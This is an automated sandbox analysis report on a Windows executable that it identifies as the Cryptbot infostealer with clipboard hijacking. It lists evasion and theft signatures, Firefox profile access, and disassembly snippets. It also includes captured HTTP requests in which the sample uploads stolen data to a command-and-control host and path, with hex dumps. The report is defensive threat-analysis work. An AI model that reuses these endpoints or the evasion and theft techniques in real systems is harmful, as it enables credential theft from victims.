Windows Analysis Report
file.exe

Overview

General Information

Sample name: file.exe
Analysis ID: 1560656
MD5: 12cd0d9c479c98fd981eec5c93de5b81
SHA1: d6eb3df1e15d86dca156f9e9d57b6faf62559b6c
SHA256: b2c5eff51d7f0692f552e043af3f5324cf25dccadda349d59c5dc5e95d265eb3
Tags: exeuser-Bitsight
Infos:

Detection

Clipboard Hijacker, Cryptbot
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Antivirus / Scanner detection for submitted sample
Attempt to bypass Chrome Application-Bound Encryption
Multi AV Scanner detection for dropped file
Suricata IDS alerts for network traffic
Yara detected Clipboard Hijacker
Yara detected Cryptbot
AI detected suspicious sample
Drops large PE files
Found evasive API chain (may stop execution after checking mutex)
Found stalling execution ending in API Sleep call
Hides threads from debuggers
Machine Learning detection for sample
PE file contains section with special chars
Sigma detected: Suspicious Scheduled Task Creation Involving Temp Folder
Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)
Tries to detect sandboxes / dynamic malware analysis system (registry check)
Tries to detect sandboxes and other dynamic analysis tools (window names)
Tries to detect virtualization through RDTSC time measurements
Tries to evade debugger and weak emulator (self modifying code)
Tries to harvest and steal browser information (history, passwords, etc)
Uses schtasks.exe or at.exe to add and modify task schedules
Abnormal high CPU Usage
Checks for debuggers (devices)
Checks if the current process is being debugged
Contains capabilities to detect virtual machines
Contains functionality for read data from the clipboard
Contains functionality to dynamically determine API calls
Contains functionality to modify clipboard data
Contains functionality to query CPU information (cpuid)
Contains functionality to read the clipboard data
Detected potential crypto function
Dropped file seen in connection with other malware
Drops PE files
Entry point lies outside standard sections
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found inlined nop instructions (likely shell or obfuscated code)
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
One or more processes crash
PE file contains an invalid checksum
PE file contains sections with non-standard names
Queries information about the installed CPU (vendor, model number etc)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sigma detected: Browser Started with Remote Debugging
Sigma detected: Suspicious Schtasks From Env Var Folder
Uses 32bit PE files
Uses Microsoft's Enhanced Cryptographic Provider
Uses code obfuscation techniques (call, push, ret)

Classification

Name Description Attribution Blogpost URLs Link
CryptBot A typical infostealer, capable of obtaining credentials for browsers, crypto currency wallets, browser cookies, credit cards, and creates screenshots of the infected system. All stolen data is bundled into a zip-file that is uploaded to the c2. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/win.cryptbot

AV Detection

barindex
Source: file.exe Avira: detected
Source: C:\Users\user\AppData\Local\Temp\service123.exe ReversingLabs: Detection: 45%
Source: Submited Sample Integrated Neural Analysis Model: Matched 100.0% probability
Source: file.exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_00B115B0 _open,_exit,_write,_close,CryptAcquireContextA,CryptGenRandom,CryptReleaseContext,CryptReleaseContext, 8_2_00B115B0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_6C0D14B0 _open,_exit,_write,_close,CryptAcquireContextA,CryptGenRandom,CryptReleaseContext,CryptReleaseContext, 8_2_6C0D14B0
Source: file.exe, 00000000.00000003.1691270486.0000000007E12000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: -----BEGIN PUBLIC KEY----- memstr_495101a4-0
Source: file.exe Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, DEBUG_STRIPPED
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cache2\entries\ Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\ Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\ Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cache2\ Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\ Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cache2\doomed\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then lea ecx, dword ptr [esp+04h] 8_2_00B181E0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then sub esp, 1Ch 8_2_6C14AEC0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then sub esp, 1Ch 8_2_6C14AF70
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then sub esp, 1Ch 8_2_6C14AF70
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then push esi 8_2_6C0F0860
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then mov eax, dword ptr [ecx+08h] 8_2_6C0FA970
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then push esi 8_2_6C0FA9E0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then mov eax, dword ptr [ecx+08h] 8_2_6C0FA9E0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then mov eax, 6C1AF960h 8_2_6C0EEB10
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then sub esp, 1Ch 8_2_6C0F4453
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then push ebx 8_2_6C1784A0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then mov eax, dword ptr [ecx] 8_2_6C0FC510
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then mov eax, dword ptr [ecx+08h] 8_2_6C0FA580
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then push esi 8_2_6C0FA5F0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then mov eax, dword ptr [ecx+08h] 8_2_6C0FA5F0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then push esi 8_2_6C0FE6E0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then mov eax, dword ptr [ecx] 8_2_6C0FE6E0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then mov eax, ecx 8_2_6C170730
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then mov eax, dword ptr [ecx] 8_2_6C0F0740
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then sub esp, 1Ch 8_2_6C14C040
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then sub esp, 1Ch 8_2_6C14C1A0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then mov eax, dword ptr [ecx+04h] 8_2_6C12A1E0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then mov eax, dword ptr [ecx] 8_2_6C0F0260
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then mov eax, dword ptr [6C1AD014h] 8_2_6C1A4360
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then sub esp, 1Ch 8_2_6C14BD10
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then push esi 8_2_6C147D10
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then push edi 8_2_6C143840
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then lea eax, dword ptr [ecx+04h] 8_2_6C0FD974
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then push ebp 8_2_6C10BBD7
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then push ebp 8_2_6C10BBDB
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then sub esp, 1Ch 8_2_6C14B4D0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then push ebp 8_2_6C0FD504
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then mov eax, dword ptr [esp+04h] 8_2_6C149600
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then lea eax, dword ptr [ecx+0Ch] 8_2_6C0FD674
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then mov eax, 6C1ADFF4h 8_2_6C143690
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then lea eax, dword ptr [ecx+08h] 8_2_6C0FD7F4
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then push edi 8_2_6C173140
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then sub esp, 1Ch 8_2_6C0EB1D0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then sub esp, 1Ch 8_2_6C0FD2A0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then push ebx 8_2_6C167350
Source: chrome.exe Memory has grown: Private usage: 8MB later: 24MB

Networking

barindex
Source: Network traffic Suricata IDS: 2054350 - Severity 1 - ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4 : 192.168.2.4:49737 -> 34.116.198.130:80
Source: Network traffic Suricata IDS: 2054350 - Severity 1 - ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4 : 192.168.2.4:49750 -> 34.116.198.130:80
Source: Network traffic Suricata IDS: 2054350 - Severity 1 - ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4 : 192.168.2.4:49738 -> 34.116.198.130:80
Source: global traffic HTTP traffic detected: GET /LCXOUUtXgrKhKDLYSbzW1732019347 HTTP/1.1Host: home.fvtekk5pn.topAccept: */*
Source: global traffic HTTP traffic detected: POST /v1/upload.php HTTP/1.1Host: fvtekk5pn.topAccept: */*Content-Length: 464Content-Type: multipart/form-data; boundary=------------------------CxUSAxKdBLZGyj9F3WG9fFData Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 43 78 55 53 41 78 4b 64 42 4c 5a 47 79 6a 39 46 33 57 47 39 66 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 65 6c 69 6b 61 63 6f 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a de c0 ce ad 51 05 b3 ce 62 3b 73 3a 03 3e 42 6e cc 42 82 5e 73 36 c1 a7 28 56 e5 19 a2 85 29 09 6c c2 11 ab 9b fc 88 c1 a3 db c8 b3 94 57 59 b4 7e 7d a6 d3 df f3 b9 0b 02 dd c8 0c 31 39 b8 02 68 f1 68 d9 b4 c3 c9 14 a2 fe 0b c3 b6 a5 8e e3 2d 57 11 de e0 bf 81 b8 f7 49 9a 64 5f 9d 3f 55 b7 5d 37 2f bc 38 6a 5c bf b6 22 94 47 e3 53 ce 84 44 da 2a d0 0f 85 cd 65 2a 66 e6 3d 18 78 c6 6d c8 0d c9 48 25 2c f8 3d 71 e1 7b 3d a3 1e a6 fa ff 84 67 3c 34 d4 fb ec 14 e9 85 42 9e 78 1e 58 91 97 4f a4 35 dc 7b 61 c7 79 87 7f bb 27 34 6b 6d 20 c4 79 fc 31 29 fd e0 6b 14 47 03 48 fc 6a ee 83 d2 0b 9d 7b fe ab c5 e9 cf 9a 6b e9 ab 13 9e 3e 55 2f 74 fa c7 7e d6 dc 60 84 4f 3c 67 dd 2c 26 29 74 4c 57 f6 f3 6c fd ff 11 7e c2 14 3b 13 5e 40 98 17 02 71 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 43 78 55 53 41 78 4b 64 42 4c 5a 47 79 6a 39 46 33 57 47 39 66 46 2d 2d 0d 0a Data Ascii: --------------------------CxUSAxKdBLZGyj9F3WG9fFContent-Disposition: form-data; name="file"; filename="Selikaco.bin"Content-Type: application/octet-streamQb;s:>BnB^s6(V)lWY~}19hh-WId_?U]7/8j\"GSD*e*f=xmH%,=q{=g<4BxXO5{ay'4km y1)kGHj{k>U/t~`O<g,&)tLWl~;^@q--------------------------CxUSAxKdBLZGyj9F3WG9fF--
Source: global traffic HTTP traffic detected: POST /v1/upload.php HTTP/1.1Host: fvtekk5pn.topAccept: */*Content-Length: 75867Content-Type: multipart/form-data; boundary=------------------------XyVvDJthBhMJAIw6Hkhtd9Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 58 79 56 76 44 4a 74 68 42 68 4d 4a 41 49 77 36 48 6b 68 74 64 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 47 75 76 75 79 69 6e 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 37 43 d4 b3 ff 31 9e d7 f3 79 f2 5e 25 fb 8a 09 9c 1e 6a 1c d3 99 bc 69 9e ad 2c 3b 2b 28 74 0f 77 8a e2 fd 0b aa 5b a8 af 74 6d 8a f7 5e e1 ee 33 00 76 b9 04 39 a2 6b 35 1a ca c4 fc 17 8e 5e 24 ac e4 91 43 90 bd ac b7 28 d3 0a 25 91 31 db eb ab a6 d7 a0 23 26 eb 21 dd 7b a7 d2 17 63 3e ed 07 39 c4 48 10 5d ff 16 80 08 07 78 0f 5c 4f 13 f7 bc 0d 28 9e d9 63 79 73 51 18 9a f2 e1 d2 82 0d 17 e7 d1 94 f3 da ec df eb 4e 57 23 d0 5c 6b 2c 40 08 98 07 89 d8 25 e1 74 37 96 a8 ff 14 30 61 69 28 00 b1 f5 2d a4 30 a7 f7 d8 28 db fc 6f 48 4b a8 70 52 a3 17 40 4e b1 11 21 b6 dc 57 e1 87 7e 44 b6 39 d0 42 0e 29 26 e6 e7 79 46 cf 7e 6d 24 4b 44 88 0d 08 b1 28 be 7c 7e 67 51 2c 8b fa 06 59 70 54 61 f3 1a 5d 69 33 24 3a d2 d4 5c 7b d5 4a e1 ad 34 95 59 1b 43 c9 3e 2b a1 2a 0b e8 f8 e9 5b 96 ce 2b c0 fb 30 7f 54 4f 1a 95 1c 0f ef 2d 03 d1 78 40 24 68 3c 48 95 3d 8a 71 87 e9 ba 11 21 a0 03 a8 01 b6 62 68 b0 55 19 61 9e 32 95 62 6f ff a1 ea 84 ec b1 53 d3 02 74 6c 66 25 8c 28 ab 8d ba 55 9a 59 49 c7 22 50 11 ea fb ae 34 b7 9a a6 f3 03 be c6 4a 14 5c 4f 15 35 e9 87 ac 32 22 28 a5 66 38 27 09 66 24 e5 af 50 8f 9f d2 c5 34 e5 a4 38 25 c4 09 60 c3 81 65 13 08 28 c2 30 2b 4a 9c 79 3b 79 ed 2b c1 d0 17 56 b8 c4 96 d6 1b df a2 95 6f 39 3c f3 ff 9e 65 bb 86 10 1f 80 51 7e eb de 53 35 08 de ad 71 2d 3c 5c 97 73 20 80 52 54 ea 11 a6 c5 be 47 f3 7c ac 40 68 b0 1a 20 dd d9 3a 46 92 14 15 1a 4c 1e 0b 91 9a 6b 0c ac 6b 36 7c 69 19 cd f2 71 ae 71 f9 3c aa 3a 09 16 97 2f e5 2c d8 d8 8d 32 32 9f dc e8 aa 76 93 65 a2 a8 28 a3 4a 29 fc de 2a d6 c4 50 12 8f e4 22 cc 8e f7 1c 33 74 1f ef 78 60 09 33 20 5d 3a ac e4 f1 ed 11 bf a9 aa 12 d8 2a 24 af 96 ab 34 f8 f0 3b f9 e5 d2 e2 b3 5b e9 30 36 ee 05 ca 61 cc 2c cd 9c 51 e0 61 74 02 88 28 2d 8c d7 b3 83 9b b6 6a 63 58 3a 1e 8a e0 e5 64 85 9b a8 29 48 a7 02 a5 d3 af ab 72 71 08 6d 3f c5 cc 7b cd b3 98 cc b3 03 9e 11 a8 b6 e9 86 42 b4 e2 e1 72 b5 36 7e 56 3f b6 e7 d1 0b 0e 42 37 8f 41 a8 31 0a 6a 6b 85 b4 53 f3 56 00 29 b7 1a c9 dc e1 e0 11 49 63 d9 40 b0 9a 15 69 db c9 65 c7 5f f6 bf e6 6c 57 40 4c a4 ee 40 46 c5 03 22 72 fd 73 c7 55 d1 6c 8b a2 33 84 4a db 99 a2 e9 61 8c 58 89 fd 8b 93 89 c8 bc 12 5d e1 91 e3 6a 9b 51 b0 40 6d 63 3c 37 80 dc 6d 8e b9 4c 62 22 fd 73 be 18 79 72 d2 c3 c8 2c 23 06 65 d1 fa bc 04 6f 60 04 2a c7 98 b4 13 ab 03 b5 c1 57 30 94 d4 70 b4 cf 44 36 52 fc cc
Source: global traffic HTTP traffic detected: POST /v1/upload.php HTTP/1.1Host: fvtekk5pn.topAccept: */*Content-Length: 30023Content-Type: multipart/form-data; boundary=------------------------Q4HDl8gWGrExc0RFZsMifBData Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 51 34 48 44 6c 38 67 57 47 72 45 78 63 30 52 46 5a 73 4d 69 66 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 4e 75 6b 75 71 6f 78 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 01 f5 e4 cb d5 99 ff 07 15 3b 10 4e e3 d8 58 68 2c ff 18 ee 7a 7b 87 21 73 ea 07 d5 89 d1 18 f0 26 46 78 4e be f9 f3 79 08 57 0b e9 e1 57 fe 5b 8c 97 2e 05 6f 98 d4 03 2e dc 76 dc 04 16 92 21 b2 eb ab 48 d4 61 ce ef 82 9d 80 96 2a 6d af 5f 26 be 27 f4 34 4e ad 76 c1 d5 de b0 b1 25 33 f0 3f 92 2a 97 e5 48 58 a7 a5 44 2a 01 c5 f4 2d 05 86 3e 79 e7 5c 1c b2 21 f1 d1 0e ed 2d a1 a4 2e 32 93 7f a5 56 79 2e 7d 2c 93 c0 fb 19 59 33 48 53 bf 07 59 cc 45 80 97 6b 5d 31 72 2d cd 7d 3e 17 23 b5 c0 bd 91 54 e4 55 2e 97 61 de b8 83 81 15 85 f4 ed 4a 6f e6 23 9e 02 75 11 af 85 69 52 a1 a3 59 6e 34 c4 40 83 93 5a a4 ac de f4 0a 08 c2 f5 37 60 ad 80 67 1a fe cf d0 c9 71 0d f3 ed 45 e1 d5 69 09 68 97 75 99 7a 78 97 2e d3 3f cf 09 86 0a d4 05 8a 96 1b 54 41 9d 9a d1 d5 e8 eb 38 42 1b 99 6f 7c 40 0a aa 98 07 71 5c ae ca 7d 3a ac aa 81 b4 2d 1c a0 4b 6f a3 3b ba 6b d8 8d 4b 07 b8 96 b0 e0 2a a0 75 a6 7a e0 d7 35 10 34 a1 98 09 78 1d 7b fd 52 c6 a9 c6 00 f9 e2 7b 2b 1b 73 a1 be c3 4d 58 63 97 4e 15 d9 51 12 e7 a7 ab 13 7c ce fd 29 16 a3 8d be 71 ac 5e 03 4a fc 82 1c ba 8c af 60 20 f5 27 b1 3a 84 95 63 21 d7 0f d1 aa a0 4b 64 5e 3b b0 03 fd d7 ec b0 6d 05 8d 5d e5 7f cb d5 fe 23 97 a9 c4 8a 34 9e ca dc e9 3d fa a8 ba c7 ea 72 a3 02 90 8a ac 96 2a c7 95 c7 80 20 d3 4c 08 df 6b c5 82 9c 0c 27 ad 6f 61 e6 5a de 8d d8 65 fb cd 48 af e2 64 3c f2 8a 51 5d 90 1e 7e 6c 5c be 20 5c 0c b0 14 4b 9f ef 0f b8 66 dd 10 4a 2c 70 b0 60 60 46 30 44 46 e1 1c 51 7b 2e ee f0 10 e5 32 92 fc c8 1d f9 2a 19 ef 07 69 09 a5 f1 8b e0 b3 73 25 82 c3 7e 41 47 3e de 40 7c 2b 8a 3c a8 39 d0 c2 18 3b 30 16 3a c8 4a 27 a3 04 7d 50 2d 38 5e b7 b0 42 d1 31 3b 59 6a 4d 76 9e 1f 1f 28 52 2c 94 b0 fe 0d 67 cd 7b fd 12 6e c3 23 63 20 fd db 6e 59 cd ba 2f 8d 77 79 83 dd 72 fe 5c c9 86 9d ba 53 11 5c 86 61 eb fe 57 2b 9c ad c8 26 99 f3 77 0e 3a fa c3 26 2d a8 1b 80 19 18 da 88 e2 28 29 fb a6 0f a4 bb 9a 04 91 cf cf f3 b6 8d 50 b3 66 c1 05 e7 93 60 4f 12 a4 55 87 b4 aa 98 c9 9c a0 8f d1 29 64 1b 14 fa 83 66 c0 df 48 58 fd 39 a9 5f 22 a7 ae e8 0d 43 93 03 69 b3 d3 f9 7d e5 58 0e b4 db 31 32 4b 21 ea db 8a 35 8b 7b 7e 3a ee ff ab d4 34 71 89 f2 c3 f2 f2 de cb 1e 7c 0c 43 8e 96 97 17 5c a9 46 dd 6c f2 78 fe a0 26 e5 4d c7 11 37 3a 3b 75 55 22 70 97 b6 f6 a8 20 f2 8d 5a 1b d8 d9 90 95 8b cd ab 01 7c 43 ce 81 91 50 c4 e0 f2 d8 34 0c ad 88 5f 86 c9 c3 25
Source: Joe Sandbox View IP Address: 239.255.255.250 239.255.255.250
Source: Joe Sandbox View IP Address: 34.116.198.130 34.116.198.130
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: global traffic HTTP traffic detected: GET /LCXOUUtXgrKhKDLYSbzW1732019347 HTTP/1.1Host: home.fvtekk5pn.topAccept: */*
Source: chrome.exe, 00000004.00000002.2073149643.00000CE002841000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: %https://www.youtube.com/?feature=ytca equals www.youtube.com (Youtube)
Source: chrome.exe, 00000004.00000002.2073149643.00000CE002841000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: @https://www.youtube.com/s/notifications/manifest/cr_install.html equals www.youtube.com (Youtube)
Source: chrome.exe, 00000004.00000003.2059451652.00000CE00256C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2059591895.00000CE003190000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2059679735.00000CE003158000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: const FACEBOOK_APP_ID=738026486351791;class DoodleShareDialogElement extends PolymerElement{static get is(){return"ntp-doodle-share-dialog"}static get template(){return getTemplate$3()}static get properties(){return{title:String,url:Object}}onFacebookClick_(){const url="https://www.facebook.com/dialog/share"+`?app_id=${FACEBOOK_APP_ID}`+`&href=${encodeURIComponent(this.url.url)}`+`&hashtag=${encodeURIComponent("#GoogleDoodle")}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kFacebook)}onTwitterClick_(){const url="https://twitter.com/intent/tweet"+`?text=${encodeURIComponent(`${this.title}\n${this.url.url}`)}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kTwitter)}onEmailClick_(){const url=`mailto:?subject=${encodeURIComponent(this.title)}`+`&body=${encodeURIComponent(this.url.url)}`;WindowProxy.getInstance().navigate(url);this.notifyShare_(DoodleShareChannel.kEmail)}onCopyClick_(){this.$.url.select();navigator.clipboard.writeText(this.url.url);this.notifyShare_(DoodleShareChannel.kLinkCopy)}onCloseClick_(){this.$.dialog.close()}notifyShare_(channel){this.dispatchEvent(new CustomEvent("share",{detail:channel}))}}customElements.define(DoodleShareDialogElement.is,DoodleShareDialogElement);function getTemplate$2(){return html`<!--_html_template_start_--><style include="cr-hidden-style">:host{--ntp-logo-height:200px;display:flex;flex-direction:column;flex-shrink:0;justify-content:flex-end;min-height:var(--ntp-logo-height)}:host([reduced-logo-space-enabled_]){--ntp-logo-height:168px}:host([doodle-boxed_]){justify-content:flex-end}#logo{forced-color-adjust:none;height:92px;width:272px}:host([single-colored]) #logo{-webkit-mask-image:url(icons/google_logo.svg);-webkit-mask-repeat:no-repeat;-webkit-mask-size:100%;background-color:var(--ntp-logo-color)}:host(:not([single-colored])) #logo{background-image:url(icons/google_logo.svg)}#imageDoodle{cursor:pointer;outline:0}#imageDoodle[tabindex='-1']{cursor:auto}:host([doodle-boxed_]) #imageDoodle{background-color:var(--ntp-logo-box-color);border-radius:20px;padding:16px 24px}:host-context(.focus-outline-visible) #imageDoodle:focus{box-shadow:0 0 0 2px rgba(var(--google-blue-600-rgb),.4)}#imageContainer{display:flex;height:fit-content;position:relative;width:fit-content}#image{max-height:var(--ntp-logo-height);max-width:100%}:host([doodle-boxed_]) #image{max-height:160px}:host([doodle-boxed_][reduced-logo-space-enabled_]) #image{max-height:128px}#animation{height:100%;pointer-events:none;position:absolute;width:100%}#shareButton{background-color:var(--ntp-logo-share-button-background-color,none);border:none;height:var(--ntp-logo-share-button-height,0);left:var(--ntp-logo-share-button-x,0);min-width:var(--ntp-logo-share-button-width,0);opacity:.8;outline:initial;padding:2px;position:absolute;top:var(--ntp-logo-share-button-y,0);width:var(--ntp-logo-share-button-width,0)}#shareButton:hover{opacity:1}#shareButton img{height:100%;width:100%}#iframe{border:none;
Source: chrome.exe, 00000004.00000003.2059451652.00000CE00256C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2059591895.00000CE003190000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2059679735.00000CE003158000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: const FACEBOOK_APP_ID=738026486351791;class DoodleShareDialogElement extends PolymerElement{static get is(){return"ntp-doodle-share-dialog"}static get template(){return getTemplate$3()}static get properties(){return{title:String,url:Object}}onFacebookClick_(){const url="https://www.facebook.com/dialog/share"+`?app_id=${FACEBOOK_APP_ID}`+`&href=${encodeURIComponent(this.url.url)}`+`&hashtag=${encodeURIComponent("#GoogleDoodle")}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kFacebook)}onTwitterClick_(){const url="https://twitter.com/intent/tweet"+`?text=${encodeURIComponent(`${this.title}\n${this.url.url}`)}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kTwitter)}onEmailClick_(){const url=`mailto:?subject=${encodeURIComponent(this.title)}`+`&body=${encodeURIComponent(this.url.url)}`;WindowProxy.getInstance().navigate(url);this.notifyShare_(DoodleShareChannel.kEmail)}onCopyClick_(){this.$.url.select();navigator.clipboard.writeText(this.url.url);this.notifyShare_(DoodleShareChannel.kLinkCopy)}onCloseClick_(){this.$.dialog.close()}notifyShare_(channel){this.dispatchEvent(new CustomEvent("share",{detail:channel}))}}customElements.define(DoodleShareDialogElement.is,DoodleShareDialogElement);function getTemplate$2(){return html`<!--_html_template_start_--><style include="cr-hidden-style">:host{--ntp-logo-height:200px;display:flex;flex-direction:column;flex-shrink:0;justify-content:flex-end;min-height:var(--ntp-logo-height)}:host([reduced-logo-space-enabled_]){--ntp-logo-height:168px}:host([doodle-boxed_]){justify-content:flex-end}#logo{forced-color-adjust:none;height:92px;width:272px}:host([single-colored]) #logo{-webkit-mask-image:url(icons/google_logo.svg);-webkit-mask-repeat:no-repeat;-webkit-mask-size:100%;background-color:var(--ntp-logo-color)}:host(:not([single-colored])) #logo{background-image:url(icons/google_logo.svg)}#imageDoodle{cursor:pointer;outline:0}#imageDoodle[tabindex='-1']{cursor:auto}:host([doodle-boxed_]) #imageDoodle{background-color:var(--ntp-logo-box-color);border-radius:20px;padding:16px 24px}:host-context(.focus-outline-visible) #imageDoodle:focus{box-shadow:0 0 0 2px rgba(var(--google-blue-600-rgb),.4)}#imageContainer{display:flex;height:fit-content;position:relative;width:fit-content}#image{max-height:var(--ntp-logo-height);max-width:100%}:host([doodle-boxed_]) #image{max-height:160px}:host([doodle-boxed_][reduced-logo-space-enabled_]) 